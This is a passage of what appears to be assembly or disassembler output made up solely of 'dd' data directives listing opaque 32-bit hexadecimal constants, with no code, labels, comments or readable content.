1508D9A4h dd 0D7FF2C5Ah, 70683ADEh, 0DDFF7305h, 0AE8CBAACh, 0B4855ABDh dd 0D94E95C9h, 0A6EC41E9h, 0A0B8CF12h, 6A4ED8E7h, 94180368h dd 0C011D0D5h, 481BA15h, 97CA10F7h, 684812Eh, 0DA2F2ECEh dd 4E298110h, 0B6D240FDh, 23726DAh, 4EE923C4h, 78C19B8h dd 7D1792E7h, 0D971392Fh, 0E2E1FF89h, 51935655h, 0A8F2B87h dd 0F69D9522h, 61BD600Ah, 14972904h, 1474571h, 3E215F98h dd 6D295CA5h, 6F12DBB8h, 17E15FBAh, 37B84569h, 0B4A9F24Eh dd 3376448Bh, 728BAB09h, 35D66B25h, 0DB6618DDh, 76C40028h dd 433B4E11h, 0D600E2CDh, 0E0A2640Ah, 4521B58Bh, 0D1887D2Ch dd 0BF20ADDCh, 5B86770Ah, 0ACA88430h, 156C527h, 5B852DF8h dd 4C44FF90h, 0B3044311h, 3BAC12C3h, 7EBE87C0h, 902C40F8h dd 0D8177F56h, 0D168D580h dd 0AAA1320Bh, 0F256DF6Ch, 7DF82E02h, 0CFAE5655h, 76ABB3F2h dd 32B82EFDh, 52D7E916h, 3116F15h, 0DDCAFB61h, 0E9B7E089h dd 1253880Dh, 37195C0Eh, 705161DEh, 0A8E57366h, 4AF19520h dd 0D2F3B207h, 23A07BB6h, 860DE91Ah, 1B0C8B0Fh, 2208A73Bh dd 4A8590A9h, 4BDBDEF9h, 0FEC21F88h, 78A8017Dh, 0CE827E88h dd 0FE126055h, 66F51525h, 4ADC9DD1h, 92397C4Bh, 80DAAFDFh dd 406E1D8Ah, 7CE175DAh, 5652C502h, 829AB96Bh, 9118DDEh dd 462D8AF0h, 0DEBAFE04h, 6C095902h, 7D5C8234h, 23A1C1h dd 9E6BB96h, 50606ADCh, 97601970h, 7BD9A516h, 9C8B956Fh dd 0F2607A4Fh, 9685C2Bh, 0C562A0B0h, 0A05B1A57h, 0BC634F66h dd 0DBED973Ah, 0FC6033C1h, 6BBFF16Bh, 0ECE0B4A7h, 0B21F7C78h dd 0ED8BE821h, 0A9ADD50h, 6B11EF5Fh, 46B503D7h, 9EB4B95Bh dd 0A3ED86Fh, 6E6688h, 0BA19A9CEh, 72CA8E59h, 5CF6615Ah dd 0C04B2BE1h, 0F1B733A7h, 95290751h, 3D7E3BDDh, 6089DF7Ah dd 0A51F6D57h, 0A9401C4Dh, 1ABC5A7h, 0B82162AFh, 1024E9B2h dd 0BF5ECB80h, 47A5D959h, 0BB055CC3h, 6B5F2E7Eh, 68C185DBh dd 0FCB177B3h, 0BF1296E7h, 0F91C32C6h, 91B32292h, 89827F88h dd 5C1BC59Dh, 46C7088h, 0B5A90282h, 9280FB26h, 0CFD9AEFCh dd 0CDA89269h, 57E3CB2Dh, 0BB66F200h, 8995F006h, 0D8E77B6Ch dd 0A57E49F9h, 73A7B703h, 1006AFCFh, 4F1CB1C8h, 14C418AEh dd 61810541h, 8180342Bh, 61CE2860h, 8CDE4184h, 4FDC7F0Ch dd 82EE02D4h, 0EB187EDEh, 58DEEDF8h, 0E2F0746Dh, 955511A1h dd 90DFCB8Fh, 9C84C61Bh, 2E548AFh, 807B6D69h, 0EF77A0A9h dd 0D3004EF0h, 7AE1CB9Bh, 0DD94FA25h, 14167DB5h, 0BB9F1C60h dd 5A051385h, 4E48C137h, 57302BECh, 9624D780h, 0EF32D0Dh dd 732EBED8h, 0B9172CFEh, 6D860CDh, 0F4000570h, 8149FD6Fh dd 2512E173h, 5B624D52h, 63E0C74Dh, 938AF21h, 739193CEh dd 20D92902h, 81E190F4h, 9FC4C9F3h, 8B899554h, 46D64854h dd 0AFE25B18h, 38CD0126h, 0E59D2DDCh, 86E4027Fh, 0A4BDF7B8h dd 25EFEF93h, 0D66E5A56h, 0DA25F34Ch, 0FBB7D56Ah, 0F27B607h dd 576991E9h, 0A080AD3Ch, 0CF61081Ah, 8F054D1Dh, 8859DC80h dd 5E40CD09h, 9673F95Fh, 7DA96C12h, 8C19ACh, 71AF50FCh dd 8B965EC2h, 20EEF94Fh, 99F6AE49h, 0F85A6B00h, 0AC72869Ch dd 20BB0D1Eh, 2B315B23h, 14C8AE9Ah, 0E2ADF0C4h, 80F6DAD2h dd 0B5111FF1h, 7460785Fh, 0AF909DF9h, 105B5486h, 2C8541BFh dd 6C610288h, 7E0E27E9h, 0C2827163h, 40536F75h, 96112EDBh dd 6817D71Dh, 22AD16D5h, 0E76F3813h, 0B8372300h, 0DF613878h dd 0BD25B700h, 55FE07DEh, 537A0AF1h, 24FD6EB3h, 0DB7A5B6h dd 79A66102h, 13146C37h, 0F70E820Fh, 0DFB50006h, 0B2AA33BBh dd 5BFD058Ah, 655FF851h, 65F809F2h, 0EDE9CB77h, 0C0D89EAEh dd 2625A6A5h, 0E91B16F7h, 0B110EF53h, 9501C239h, 1845DD6Dh dd 0C98D8904h, 6984BAACh, 0E3FDAC28h, 7AFE8559h, 10BB00E8h dd 8AA4E1CDh, 0BD890909h, 0FB593295h, 0B7C6FE42h, 0A1D28033h dd 72DF765Ah, 120DEB5Ch, 0FEB3BC50h, 0A0C1E6D3h, 95FCE923h dd 0C044F08Bh, 8AB8C900h, 9A7E50C5h, 0C18B2F35h, 0DEABA40Eh dd 75E94056h, 0C900E5B5h, 8B9F3B3Ah, 84E69CF8h, 48E1E5BBh dd 60578001h, 33131DBFh, 0B209B4F0h, 0AF905F61h, 0B31990EEh dd 0EA3186A9h, 0C4E4EBDFh, 0ECBDAFB9h, 64621D21h, 5B167562h dd 462D0027h, 608184DAh, 8672D016h, 24A53DA0h, 274AFF0Ah dd 805222FFh, 0B858D7EBh, 9A8F84Fh, 626EEAD2h, 5A699800h dd 73BF51AEh, 88CFFBBFh, 890E222Dh, 0A884D3B5h, 0F02BE6AAh dd 50CEB407h, 90F6FA60h, 2215256Eh, 46D4C97Eh, 5BDD0118h dd 0B74CE084h, 0E234F62Bh, 207E3117h, 6EB5E20Ch, 0B3F7107Fh dd 0EAB712C8h, 0D28D83B2h, 0E4E67B44h, 66EE30F0h, 7E026A24h dd 0B0E73ADEh, 1AEF9A8h, 35D381FBh, 814BE8BBh, 0DB12700Ch dd 0E12E905Ch, 71202BBAh, 0FE8083h, 0C2EB6B18h, 0B1B96020h dd 0A79F2EFEh, 36A4BB15h, 20EA9D84h, 65B035ABh, 20CD6907h dd 5EF15145h, 0AC2A5061h, 84929D50h, 0DE7A9CEAh, 4CAE2F00h dd 0BDCCC21Fh, 900F17BFh, 93E256h, 3C87EE53h, 0FAB9AF28h dd 0FC5F5A80h, 6304AAD6h, 916AF9C0h, 2A1EE978h, 0AF24E1CEh dd 0D01E2BBAh, 6E25EBA7h, 93C20279h, 37DD9C4h, 0A51D68D9h dd 0F8A14090h, 7C6F0D01h, 92068ADBh, 9005312Eh, 23BC4251h dd 7A508BC1h, 51D291A5h, 805D27B9h, 311A5B05h, 7F0B03FFh dd 3C141B54h, 0C0F22E25h, 0A68A0FB1h, 0DC8942C9h, 74D7100h dd 0E65AE8E7h, 8B7EC505h, 0E3DCAFFAh, 722EF1B7h, 0BDFC9D1Fh dd 0D5F934B2h, 17911BB5h, 0E62F8681h, 6A652436h, 0DC66F6B5h dd 80902F1Dh, 6A482C80h, 510FFC01h, 0FA305D8Dh, 0FF214A49h dd 8D00E56Fh, 0F3BFF589h, 604B3827h, 88092498h, 414BBD29h dd 77B0590Bh, 511FFA4h, 0A10C70E6h, 6FE43761h, 0E4D2F671h dd 0EFBEE625h, 0D533F142h, 0DAFC0C96h, 24B120C4h, 0A2AB1213h dd 72F71668h, 0E26B7D00h, 1665DC54h, 0AD6FCADDh, 69DA251Eh dd 2EF995EBh, 0D67FB308h, 8831D12Eh, 7F9EE963h, 0B7497F57h dd 609370FCh, 174C49F3h, 2977435Fh, 0FBFC9195h, 0E02EE989h dd 6E1990Ch, 0C924A912h, 22A6F63Bh, 361A10Eh, 0BBDF8010h dd 7E5AE928h, 40CB1295h, 259FA274h, 0D0645838h, 3BB7454Bh dd 86FD901h, 0D44ADB3Ch, 3E03F773h, 2529D59Fh, 0F6F9ADFFh dd 0AD3256C4h, 8DAE98ECh, 9C088216h, 60622417h, 9D29BDBEh dd 0DD0CCD04h, 0F6AD3E6Bh, 1854F84h, 1F3D9D89h, 0C819CF6Eh dd 5465C015h, 0D19DFC8Ah, 7709AF1Bh, 44A70F59h, 253E0FC2h dd 3900DE8Eh, 2B7DFB62h, 0F067100h, 7C0C16D2h, 403ABA46h dd 0B92A5B22h, 6495C8DAh, 78C49305h, 605A4A62h, 8A8B00FEh dd 8589FCF9h, 0B84949BFh, 0D8A053C2h, 900A03Fh, 57994A95h dd 50EEBF66h, 0BA39C6F0h, 21D2E60Bh, 0C225840Fh, 79075621h dd 76927180h, 0EF09E583h, 4DE657D8h, 48057120h, 0EC4AD923h dd 9EEAD23Bh, 70AB925Eh, 55BD09BEh, 4AAF5FD0h, 0E8A99D94h dd 82F09AD2h, 0DDEB9D67h, 12A4CF79h, 2FBF4A3Fh, 0DA8A1F45h dd 839BDC4h, 0F079F6AEh, 186DD49h, 0AC0BE11h, 2E6A81AEh dd 8A970728h, 5D178255h, 704C7D8Fh, 93957197h, 2D820833h dd 45526112h, 0E2E89FB9h, 84194B16h, 0A9AA56EBh, 8C1BAC6Ah dd 718F6400h, 5E6C2BA2h, 25F89092h, 92DD2C09h, 0D446FCEDh dd 693FA47Dh, 0DFEB820Eh, 5C3FECA0h, 0ADB15167h, 0DE7DD656h dd 1200D27Eh, 79D4B3D7h, 972AF1A5h, 9A458C14h, 0F7E5AA20h dd 2296CE6Ah, 42BF0251h, 6062AC96h, 9BE0466Dh, 253B28D8h dd 8B5F9495h, 4ABA5068h, 26A8B22Eh, 2916D989h, 21A16721h dd 5BF9F36Bh, 9BBE6B12h, 0AE5FC0EEh, 980ADBFCh, 9A642757h dd 8189985Dh, 946225CBh, 88FC5DC6h, 0E62E02B1h, 976B1440h dd 0D9DA2DEDh, 0DE8AC9B0h, 0EDCC5F4Eh, 79BD1031h, 0B7501F23h dd 5D230967h, 34006C37h, 2B1928B6h, 60B42DBDh, 3109F1E6h dd 5714B18Dh, 854EFFCEh, 9734FAh, 6847DB80h, 0D2C46DEh dd 509C00Eh, 84815D43h, 0EE124521h, 0E41F5E51h, 0E077C04Fh dd 0F69095AFh, 0B584D6DBh, 4E072C9Bh, 0CB0B7F7h, 9C094EF8h dd 4EADB1Ch, 0DDB8FBE5h, 0CD380C0h, 7697AAE9h, 0E2F992B2h dd 5D1A8A3h, 0F67D38Ch dd 7C8ABF82h, 9B6A12h, 19A183C4h, 0CD024102h, 0D2F13D88h dd 56EBE298h, 0E8BF61AAh, 2E74E9B6h, 0B131AC33h, 0DD6A2C01h dd 0FACD3BA5h, 898FCC2Bh, 186E2AF7h, 51201900h, 8D91A5D9h dd 89813F12h, 7CC5400Bh, 3AE81723h, 8E5B24CEh, 467FC0E9h dd 404E9C04h, 4E564F22h, 0D593F217h, 318DFC30h, 0A2F90048h dd 2DA14FA3h, 6375C3EAh, 0C2287900h, 0D1BF965Bh, 273C2FD5h dd 0A4E4A442h, 0BCB8C895h, 3ED902E8h, 0A7F8EB09h, 80A6F15Fh dd 969871C5h, 11D51B8h, 0F3209C99h, 89DB047Bh, 0C4D4B8DFh dd 28AB80B7h, 0CE1DBB56h, 50932520h, 1A801CE8h, 52A2AE6Dh dd 9CC33D02h, 7F500863h, 52A5F8FBh, 0EDB3986Dh, 95CEB7C0h dd 0FB466B66h, 49CF8009h, 0DD59B401h, 0BCA02F90h, 88F84E11h dd 7C026379h, 61CA804Fh, 6AD79850h, 4C6902C2h, 0C3F1DCA0h dd 9D8A6EFDh, 0BA0078C4h, 5B8BAC15h, 5E453Ah, 0F4E17DC9h dd 5F12DCABh, 1CE603Fh, 6C6BF90h, 0DD266D1Bh, 0D3816100h dd 20EDFD5Bh, 0A1881697h, 2FAD3154h, 2494053h, 5F25D50Dh dd 84B3356Ch, 0F87978h, 897E0B5h, 5C6220F4h, 3FE8B05h dd 3BAB219Dh, 75E6F440h, 3AC46CA0h, 0DA6EE85Ah, 9C4AD601h dd 6F600C78h, 252EA508h, 0F940307Eh, 9FCF740Eh, 0D1C845A0h dd 7E001DE3h, 293515DDh, 0E5596160h, 0CDC1292Eh, 0AFA73A04h dd 0AEAD4BA0h, 2B79E202h, 4C3DEF5Dh, 88F2C2h, 0C403CB2Dh dd 4F987063h, 0C84E4C00h, 0F0BCAE1Fh, 420D48EDh, 875EB9B3h dd 14C84BDAh, 0CB802CC0h, 72FBB5B0h, 7C42A5BDh, 700155C6h dd 9550E2CFh, 5E45AA20h, 0A2E1FC15h, 2010CC8Ch, 965825ADh dd 95082256h, 5043F556h, 12A4965Bh, 9B964C18h, 0EE927Fh dd 0DBC60F71h, 90B56084h, 7C06BB94h, 57501A1h, 5221A027h dd 0B695C65Fh, 34BA6F64h, 7F8E9070h, 98976104h, 958D8936h dd 2FBB1CC8h, 0AA75D12h, 0C4F9DFEEh, 44C0767Ch, 9F1F09BDh dd 0A903156h, 0F3830F16h, 0CE5D39FEh, 0B2D7FBF9h, 410E0008h dd 32DD5D21h, 3CD0004Ah, 0B3D85C43h, 0AE28D767h, 0D125E6C4h dd 48745929h, 128E0F33h, 397E61A2h, 88AC5A71h, 5602E109h dd 0F6B34252h, 192CC45Ch, 0D5B600DEh, 7BA2A10Ah, 3D2D2E8Fh dd 5F9C07h, 6CF2B1E4h, 0ED8028B7h, 0DB4DD4Eh, 0CC344B8Ah dd 334BB303h, 9CBFD984h, 0EC00EE03h, 2E773A5Dh, 541ADD75h dd 5A0FDAA3h, 0C06DA381h, 651ADBFh, 536E9528h, 0AA8DC33Ah dd 0AA013196h, 79FDDF27h, 4D3058DCh, 80A94F89h, 96CC42E4h dd 70917B9Fh, 9802261Ch, 0AFCD3E35h, 0C2095D14h, 0CF53BD56h dd 5708A1C2h, 6DA7B5C5h, 2B6642E4h, 568BE25Dh, 102E7167h dd 93721BFh, 60502D2Bh, 76973F66h, 1714963h, 396FDA2Dh dd 9880FD25h, 5BDF956Ch, 0F6B8E81Eh, 5A5FC325h, 96F84F2h dd 2D1D8529h, 76A71373h, 81CFE160h, 20F9C3D6h, 46F22B3Eh dd 43597E9Ch, 0CE1B46C0h, 0C900940Ch, 0D86AB99Bh, 1C4C2201h dd 0B1831653h, 2B5FF998h, 0B64B7CE7h, 0B7BDA0A8h, 57789D73h dd 4A2B9495h, 0B4C6A76Ch, 1227E2EEh, 26E5EA72h, 0AD7A6Ah dd 272BDBCBh, 0E1C649B6h, 0F52CB67Bh, 0DF8BB704h, 6BF53EB8h dd 0F2E2008Ah, 56FDEABFh, 0E9A512ECh, 6F45E1DAh, 0B480F19Bh dd 999D0B82h, 0B0562E5Eh, 0DAAEAF85h, 3070D3F5h, 90FC32h dd 0BF501FB3h, 13EF5C76h, 3973F3h, 12945FA6h, 7D9124A7h dd 0EC27A7Eh, 0B09DAA44h, 0D2DECE41h, 980A64Fh, 194A82C9h dd 17CCF50Eh, 5FB795h, 0E49373CBh, 0C9588160h, 55611208h dd 0AD5BECE2h, 81C0DFB3h, 0BC04AFF3h, 0E193A046h, 0E8FF4B19h dd 0C3B5C0DFh, 9CBF54h, 4DAD58DFh, 29181CEBh, 0AEF3A202h dd 5760AC48h, 2156E84h, 5561C28Ah, 0FDA54FBDh, 0B17C5FA9h dd 0B550FE0Eh, 137EBC8Ah, 44990C49h, 0AABCB700h, 0D480F99Eh dd 0BBD0DFA4h, 98914CBFh, 0D0520B2h, 487063BFh, 0F1C04F60h dd 0CCE47AD3h, 0FE421F1Fh, 80A467C0h, 18C7B509h, 0A0573792h dd 6BE35BF8h, 0BDC3D8FCh, 60B5259Dh, 0D52E17CAh, 0EAE0B200h dd 1D784338h, 2BF301B5h, 0C7F511DFh, 8B522E52h, 0C01C9BBFh dd 0D55EF98Ch, 880E69E2h, 1D69968Bh, 5E53F9Dh, 9D1A920h dd 0D026BB66h, 5744B771h, 17233Fh, 5DE694D3h, 0EFB6026Ah dd 944D02DCh, 50F215C8h, 8027D47Ch, 0A3CBBA0h, 0B075D7Bh dd 0A32902DFh, 0C7D71BE9h, 13EB12FFh, 0F0C9F691h, 13CC90Fh dd 0A03518Ah, 66ECB36Fh, 0F0EBF7EEh, 0B94B2FBCh, 0BDD6457Eh dd 0C8C4BDB0h, 30A82507h, 0D7FEE08Ch, 0BA06A908h, 0A60DB80h dd 56901833h, 9D505B39h, 587CD88Bh, 2B7910EBh, 0E6616012h dd 0F7810147h, 2F21939Dh, 0E291E63Bh, 0D6613019h, 0EE3A4F26h dd 27890F0Ah, 8F686425h, 5EFA4082h, 6805D610h, 1F5A390h dd 6D387E8h, 610E292Dh, 0D888FF5Eh, 0A4DC1F05h, 3187C327h dd 0ECA09EC2h, 5CB8BAC4h, 7C28ED2Dh, 6C5251D9h, 0D3BD5B43h dd 3175BD82h, 111AD97Dh, 0A19D3EFEh, 2DB2425h, 77DC01D4h dd 2996415Ch, 97D86CC8h, 0BD2B3E00h, 56B72F41h, 39D26B94h dd 92C0F600h, 99ACE36Ah, 52191791h, 0D062EB42h, 984F89BAh dd 0BA775h, 80EA18C7h, 4BADD61Fh, 9146B203h, 0B80DFCA8h dd 0B7176C52h, 8100C873h, 88381987h, 2DF973BEh, 692C3A9h dd 8CE6597Dh, 43C5B5Fh, 25259198h, 409A541Dh, 9720CF81h dd 2B50A400h, 8BFD8AC8h, 0FF895ED1h, 0A2E99146h, 0B5577E59h dd 5F5CA564h, 4C441CA8h, 0C2B7127Bh, 4E0F74E0h, 9AAE38Fh dd 565F9FDFh, 0FC564474h, 9CFC96D2h, 21720D00h, 0F2D6DA28h dd 53200B00h, 0A9B049EAh, 816B031Bh, 45A176C3h, 0D1A2CC72h dd 95B36CFFh, 52189FA4h, 1520E5F8h, 2DDFBB0Fh, 20AAD6D8h dd 0BD335082h, 65A29170h, 5F4BA956h, 0AF0B1605h, 2C4C34CEh dd 0BD8CDC4Ah, 8484E570h, 0F904BD89h, 0A98AEF29h, 0B394407Ah dd 0EDF84Ah, 0DD7CE7E8h, 2EFB80A1h, 2F087962h, 0A59BC01Eh dd 473ACD0Bh, 4007198h, 5F62DF8Eh, 9D0F86B9h, 0CCD1F8DBh dd 0EF964838h, 0F06E4971h, 959DC86Ah, 77E1841h, 0CFB78096h dd 11E960A2h, 92FEBA20h, 2CDFC48h, 0C065C51h, 927527CCh dd 0BD8AC00Ch, 53BA9525h, 0BA5187D8h, 0CE826A08h, 0F64F550Bh dd 8091B5A7h, 3DB36E85h, 0F63705BAh, 35749406h, 67E8A7E9h dd 1755CD4Ch, 6EBF01EDh, 521D29F0h, 22AC3600h, 9337849h dd 6962E7B1h, 17558602h, 1D4DA57Ah, 0DBA24E9Ch, 840157A8h dd 978D792Ch, 21010A8Fh, 0BD5F8408h, 0C0B92299h, 9934FAD3h dd 0E9E0B2BBh, 0E4013F37h, 0B6B2DB84h, 32E06EEEh, 9CB0481h dd 0E91BDD60h, 4B0CB838h, 22B58A03h, 0E660626Dh, 7F8201A5h dd 5745113Dh, 0FD259120h, 5AF75426h, 135FB57Fh, 0B04713F7h dd 0B8E6F394h, 61FEC905h, 51E6E1FFh, 99A103E0h, 508CFC2Fh dd 36682524h, 0CA108BC5h, 16AC52D5h, 0D6D57525h, 4A5E1C5Bh dd 0B988AACh, 9CDF1759h, 0E2AD4AAEh, 8BB0922Ah, 0AC0E8A6Ah dd 0FC604138h, 746B0B97h, 0FE98DCABh, 15E59512h, 0D24A87E2h dd 8229367Bh, 553129A5h, 30B1C6Eh, 0DF14D1BDh, 9D2B6CB8h dd 1ED1DA9Fh, 0FA8A5090h, 61BC444Dh, 43F9DB00h, 670DE08Bh dd 9D0909C1h, 6FDF08CDh, 7B4E6009h, 0CE2CF2EBh, 722F6445h dd 279DECDFh, 9C5D0A5Dh, 4B8C4B47h, 519856A5h, 3F007C33h dd 28BCC6E6h, 0B026C82Fh, 0DE0EB5DFh, 2970835Ah, 21E6DAB5h dd 0F09807Eh, 8B48F18Dh dd 6D7585D1h, 661EC09Bh, 85989AC1h, 9F06F120h, 5F65675Ch dd 204704EFh, 0C2C2A8D7h, 77B70FF8h, 290B48CCh, 112B058Dh dd 0BCD8DB69h, 1BF2FE9h, 7E418A6Fh, 0A0FB3A0Fh, 5B9D2959h dd 0FC63F0DDh, 0D4AD749Fh, 68C05B9Eh, 250D29CDh, 91C6DB96h dd 0FD8C9A95h, 8E398A10h, 0E26EA00h, 8611FEABh, 0BC2D5EDDh dd 6094F77h, 42BA555Fh, 0B5D4FDD4h, 8924F770h, 38280106h dd 0A82EAD24h, 0DD8F9A53h, 5849BC71h, 8D313A7Fh, 9D8F32D8h dd 961D0B68h, 66E0DAD2h, 8088B957h, 0AA4ACC41h, 0D31C3E63h dd 0F495BB9h, 7F258831h, 164D125h, 0F69365F2h, 0FDD03BF4h dd 1780D381h, 0BF0F7619h, 605AB56Bh, 0F5993402h, 0AC1B8C4h dd 22C66803h, 0A2F180D2h, 88411700h, 46D7201h, 0EFF8E3D6h dd 4C01AEAEh, 7F29E139h, 81F29B2Ah, 2FE106FBh, 0EF4AC42Fh dd 0BD9600A4h, 3D80FD3h, 3E392A06h, 20C49CBFh, 91BB05B2h dd 0AA6A4079h, 3190799Ah, 67A3BAC2h, 0BBC07374h, 25382BFDh dd 20D36118h, 1EDC4072h, 0A51C1786h, 9309AFA6h, 7A455C18h dd 3F001F79h, 0FB3CA8D1h, 1C5A0047h, 119E8439h, 0E809BB26h dd 597A4EEEh, 0B20E448Ch, 49FA4F54h, 6A641E69h, 0A48EFB4Bh dd 769A3AE9h, 5B506880h, 535D6749h, 1575109Dh, 1111093Bh dd 17AB5F25h, 0E105F612h, 826F9FFDh, 1C573400h, 0BBB14E5Bh dd 9804757Ah, 81C63E0Ch, 40B3D17h, 7E502CAEh, 839D044Bh dd 89F798A5h, 0BD6A58D8h, 0F40656h, 9E2AF47Ah, 76641EFFh dd 4180E799h, 54A8B9F9h, 0AD550542h, 0C79E4A08h, 171D2460h dd 600A62BBh, 28408174h, 25A84B93h, 987D6126h, 4B45BD5Ch dd 4929D2Ch, 0C640EBDEh, 0EAEFCB81h, 96322E2Eh, 0AFE9600Ch dd 9C5B6D30h, 0F04CE9B2h, 5F0AAC00h, 0C6EBF50h, 961AF31Fh dd 465A943Bh, 21A9A19Ch, 5B7D8B2Bh, 7881BB9Ah, 7DBAB3BDh dd 59858222h, 0FB8B022Ah, 51B6F35Dh, 7442618h, 213D3854h dd 4E155FFBh, 9430044Eh, 29F67804h, 0EDA80169h, 9D659C04h dd 0B5F8CC51h, 0D6F77BC0h, 0AC00F015h, 1AF25F14h, 4BB239C2h dd 0BD8398DCh, 0A52BDD21h, 1DC2C5Eh, 0A52C5003h, 0EA88D076h dd 141427Ch, 2FC4F2E7h, 978FA52h, 0DF6D85E8h, 0D39DB570h dd 6B93716Ah, 27592405h, 530372ABh, 0DBBD6DF0h, 0DEA73CCFh dd 72F4A9DEh, 7AEB0132h, 2358D5CCh, 5B2D6C0Fh, 0B5010C30h dd 9C164BD1h, 7AF92963h, 0AF6C2FB5h, 0C0ED9E4Fh, 5E2C53E2h dd 34CF2ED2h, 325C25BCh, 2F08E942h, 0D3024303h, 61BB6EE9h dd 75F73AE6h, 5696DE07h, 1DF65B60h, 61D1314Bh, 3145603Ah dd 264E89BDh, 18BC7BF9h, 9DB8048Ch, 0B8EC4A46h, 5FBBA3C4h dd 0BC52A928h, 2E5E3990h, 53B87C1Eh, 0FCE231h, 0F7367CFh dd 1702FBD9h, 0AF5E135Bh, 8EF4B2C9h, 4010B917h, 0BCCE8B11h dd 84779000h, 3D44BFCCh, 71CF2DD5h, 5F330557h, 800A5A2h dd 614849D2h, 0A74C348Fh, 0A3962EBEh, 0E0A5A92Ch, 268CBDC7h dd 1ECC5956h, 2810AF31h, 0DF008F92h, 0D2694095h, 3522A0h dd 4F06B1D0h, 84BE6DEAh, 8B5EA509h, 2984F5F3h, 0C16BDB96h dd 0B7D8200Ah, 0B88BF5F6h, 5E526756h, 0F3892DDCh, 0CF955170h dd 73A60A4h, 99008BDAh, 0ADC5BF36h, 9060130Fh, 2FD2062h dd 6162F1FEh, 0B2255D78h, 48D3F748h, 2152F31Ch, 0A64A62F7h dd 0AEA2A027h, 0F8B913A9h, 0DD108175h, 7B040531h, 38AE1711h dd 0C2E1639Ah, 0E0514DF5h, 0E33547ACh, 0B7E2E104h, 0F3BB8B3Ah dd 0C0025810h, 0E3E68226h, 6AD00208h, 8D954A39h, 0C1C881A2h dd 6DD5CAD7h, 1CB9E0A2h, 9697EB46h, 964DF66h, 2E89358Bh dd 76A64870h, 0DAEF2400h, 2DC92E63h, 23742542h, 85D834E9h dd 0F802C33Ch, 4B74B3EEh, 3229A2C9h, 0FC58BB09h, 68BE8520h dd 5A5A9987h, 0B1D1AEF8h, 0D3025FBCh, 1CD0EAC8h, 0AEDA7531h dd 39B74EC3h, 4A79D289h, 3E53F76Ah, 0E157E78h, 0B9188CC8h dd 0AFCCE824h, 0AD6784C1h, 696BA12Bh, 3B850418h, 0DBAFFF2Ah dd 384C5B0h, 0D528DDC2h, 7BFA4AD9h, 0CC020042h, 8683067Dh dd 3A2CEF16h, 0DE1D1E30h, 0BC983D67h, 25DAB0B8h, 80C6EC78h dd 87983809h, 14DA0036h, 0C8C9E3DDh, 0BF3EEC30h, 2539DA4h dd 4BB63240h, 0B0605F5Dh, 16DEAC2Eh, 0E83D18F6h, 5857C455h dd 6E2EFFB1h, 8820194h, 6A4AE2F9h, 0B8E7A92Bh, 0E1FD0097h dd 18439874h, 0DE4B8A76h, 0C52F41CDh, 3D16BAA2h, 0C0539FAEh dd 0E86AA911h, 0C4465D87h, 0EBD1FF85h, 0A25A51A2h, 178CCE5Fh dd 5CA06DB7h, 3E02DF12h, 7E7AED37h, 0B798DF9Ch, 59009EBCh dd 0B3C6B7EAh, 92B15h, 34F7B93Eh, 6AC8A42Fh, 0D6510225h dd 319102E6h, 0D54A5CD9h, 8C00557h, 0E21DB6ABh, 0AE4C1Ah dd 0BCB760FEh, 94BC4ABh, 15AA5B8h, 0E880A9E9h, 62301E73h dd 79134C00h, 0E9A8871Ah, 7267B5F3h, 0C2124512h, 83549BBFh dd 0D109CC8Eh, 9B2F3E5Ah, 921B8AE6h, 3276D08h, 0E1C860BFh dd 6D75F8EAh, 671D643Ah, 91846A70h, 0ADB305DEh, 0A555A46h dd 15F1D6D2h, 0B64ED23Ch, 6649E0B4h, 0F0DA00CAh, 0B550C2BBh dd 0C8D68D89h, 0B2A4D7A8h, 52AF5F42h, 0E278E657h, 0F333301Ch dd 0D838C901h, 0F5828F9Fh, 0A8F8A23Ah, 28FC0055h, 0DA03216Fh dd 0E74B919Fh, 0A3355F20h, 475A3FC8h, 4202609Ch, 6A0FA95Ch dd 71CD5BF7h, 0DD0020ACh, 3D70C18Ah, 1B312935h, 0C17ECDE5h dd 2FC25FBAh, 12019462h, 85A8D15Fh, 80B06A0Ch, 70E6016Ah dd 25302698h, 87BB5520h, 74FABDF1h, 13338D23h, 0E7CA30D7h dd 6197E513h, 896B2F9Bh, 0F2C42F00h, 99633ABh, 7B1781B1h dd 226476F6h, 67E25213h, 307C1600h, 0AE0522D0h, 4600769Dh dd 0CB16765Bh, 0FFAC134Dh, 0EFC9D702h, 0FC254BDDh, 0A1A4F4EBh dd 0C4C81444h, 1F242546h, 1209D18Fh, 0E9E945AAh, 478E316Dh dd 50AB7017h, 0DB554C3Bh, 0B5B3F18Ch, 0B8FCE369h, 0DB800908h dd 0F0BB55C6h, 0A6EBA602h, 553FE9AFh, 109772CCh, 239D293Ch dd 27940E35h, 3DE69218h, 0C059058h, 840B556Ch, 0BA52572Dh dd 26DD3061h, 0AF43282Fh, 0EE29A340h, 6AF7A999h, 0CB50DB7Bh dd 0AD87823Bh, 89E1091Dh, 0D6DD6A35h, 0E5A98E98h, 0AE9624B9h dd 122372Dh, 8FDF29AFh, 21733C2h, 0B974501Bh, 2D3F5E9Dh dd 483AF2D6h, 80D3C2C8h, 4EF957AEh, 0B82E1187h, 0F6D0DE0Bh dd 9D334513h, 2BB781EEh, 0C6DB3BD2h, 50F8EE80h, 7012374Bh dd 0E644FC6Ch, 67BC96D7h, 0B78260F2h, 580B2E19h, 26D002AFh dd 0FB8B615Eh, 6597B0D5h, 2D288510h, 51E5F712h, 566ED5E3h dd 42DC18EAh, 0D9D50FE5h, 0F5C47A6Fh, 8CE7AB00h, 0C18D2B89h dd 31FF0077h, 53CCF8AAh, 0A127D196h, 0D5371Fh, 0BB0C0353h dd 6D25C96Eh, 15CEC5DBh, 0C92D7C58h, 56538B5Dh, 6F00FCABh dd 8D22C8FBh, 49EA2E52h, 0BE4ACD46h, 0EC49A16Ah, 0E1FFD0C0h dd 149743B7h, 0AA064FB9h, 3C09937Ah, 0A14E0985h, 3068DF12h dd 0EB88B7E2h, 210948A4h, 71485C20h, 6F75D2A2h, 0EDA9408Ah dd 0CB2C986Ch, 67093160h, 9EDA7081h, 0B004DCE8h, 0FDBD0195h dd 0E11845EBh, 0B893A904h, 693713DAh, 384AF2EFh, 0FFB48086h dd 85A9B54h, 52660121h, 0C7803B79h, 0F482F4Eh, 859EB962h dd 18FD6D8Dh, 386959A9h, 0F33549h, 0C8E326C9h, 0C79AA01Ah dd 8102313Fh, 9934B8Ch, 0C2250D95h, 51FD627Fh, 3A5F6869h dd 235D2BB7h, 0F090E9A8h, 0CC055127h, 992E011Ah, 492FCFF3h dd 0BCD6EEC3h, 0BDA8740h dd 9D200C8h, 6A2910D7h, 0A90FB468h, 43B05777h, 95B5F56h dd 